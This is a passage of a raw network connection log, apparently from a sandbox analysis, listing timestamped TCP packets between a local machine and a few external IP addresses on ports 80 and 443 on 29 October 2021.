Oct 29, 2021 15:31:19.400762081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400794029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400798082 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400815964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400867939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400868893 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400907993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400939941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.400945902 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.400964022 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401005030 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.401118040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401150942 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401182890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401184082 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.401206970 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401241064 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.401444912 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401479006 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.401518106 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.437138081 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.447771072 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:31:19.462146044 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462201118 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462227106 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462251902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462277889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462301970 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462306023 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.462327003 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462347031 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.462361097 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.462394953 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.467952013 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.467986107 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.467999935 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468018055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468033075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468050957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468066931 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468158960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.468209982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468229055 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468251944 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.468312025 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468324900 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468348026 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.468873978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468905926 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468920946 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468940020 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468956947 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.468962908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468983889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.468997002 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469013929 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469018936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469042063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469042063 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469063044 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469077110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469089031 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469099998 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469120026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469121933 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469141960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469160080 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469160080 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469202042 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469404936 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469424009 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469443083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469459057 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469460964 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469480991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469496012 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469502926 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469521999 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469536066 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469537973 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469571114 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469769001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469788074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469805956 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469819069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.469835043 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469862938 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.469983101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470000982 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470020056 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470037937 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470048904 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470058918 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470074892 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470083952 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470097065 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470124960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470146894 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470165968 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470180988 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470187902 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470201969 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470222950 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470664978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470683098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470696926 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470710993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470721960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470755100 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470777988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470796108 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470817089 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470818043 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.470832109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.470854998 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.476927042 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.476953983 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.476985931 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477003098 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477018118 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477031946 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477087021 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477133989 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477195024 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477210045 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477238894 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477257967 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477271080 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477289915 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477298975 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477320910 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477334976 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477384090 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477444887 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477461100 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477484941 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477509975 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477523088 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477551937 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477570057 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.477583885 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477701902 CEST	443	49853	162.159.135.233	192.168.2.7
Oct 29, 2021 15:31:19.477758884 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.478184938 CEST	49853	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:31:19.537149906 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537178040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537194967 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537209988 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537312984 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537431955 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537453890 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537477016 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537477970 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537493944 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537517071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537523031 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537539959 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537554979 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537561893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537578106 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537602901 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537746906 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537765026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537782907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537782907 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537801027 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537817001 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537817955 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537836075 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537847996 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.537857056 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.537880898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538002014 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538021088 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538038015 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538054943 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538062096 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538072109 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538094997 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538192034 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538206100 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538230896 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538316965 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538335085 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538352966 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538485050 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538497925 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538528919 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538620949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538645029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538661003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.538867950 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538889885 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.538908005 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539006948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539031029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539047003 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539053917 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539071083 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539092064 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539093018 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539117098 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539128065 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539141893 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539159060 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539175987 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539184093 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539210081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539217949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539236069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539252043 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539267063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539374113 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539414883 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539546967 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539572001 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539587975 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539603949 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539789915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539817095 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539835930 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539838076 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539858103 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539872885 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539921045 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539948940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539957047 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.539974928 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.539992094 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.540008068 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.546520948 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:19.606348038 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606416941 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606457949 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606497049 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.606498957 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606539011 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.606542110 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606585026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606612921 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.606620073 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606661081 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606699944 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.606705904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606749058 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606766939 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.606777906 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.606911898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607018948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607062101 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607100010 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607127905 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607140064 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607168913 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607202053 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607208967 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607250929 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607280016 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607283115 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607321024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607338905 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607361078 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607399940 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607428074 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607431889 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607445002 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607490063 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607503891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607661963 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607702971 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607733011 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607736111 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607773066 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607801914 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607812881 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607853889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607873917 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607892036 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607930899 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.607944965 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.607973099 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608000040 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608036995 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608038902 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608076096 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608105898 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608114958 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608144045 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608170033 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608262062 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608302116 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608339071 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608341932 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608369112 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608391047 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608409882 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608448029 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608474970 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608486891 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608515978 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608539104 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608552933 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608592033 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608606100 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608630896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608690023 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608700991 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608740091 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608779907 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608793974 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608808041 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608871937 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.608933926 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.608973026 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609011889 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609039068 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.609040976 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609101057 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.609227896 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609268904 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609319925 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.609335899 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609380960 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609417915 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609438896 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.609458923 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609498024 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609512091 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.609524012 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.609580040 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:19.675235987 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675283909 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:19.675311089 CEST	80	49842	45.141.84.21	192.168.2.7
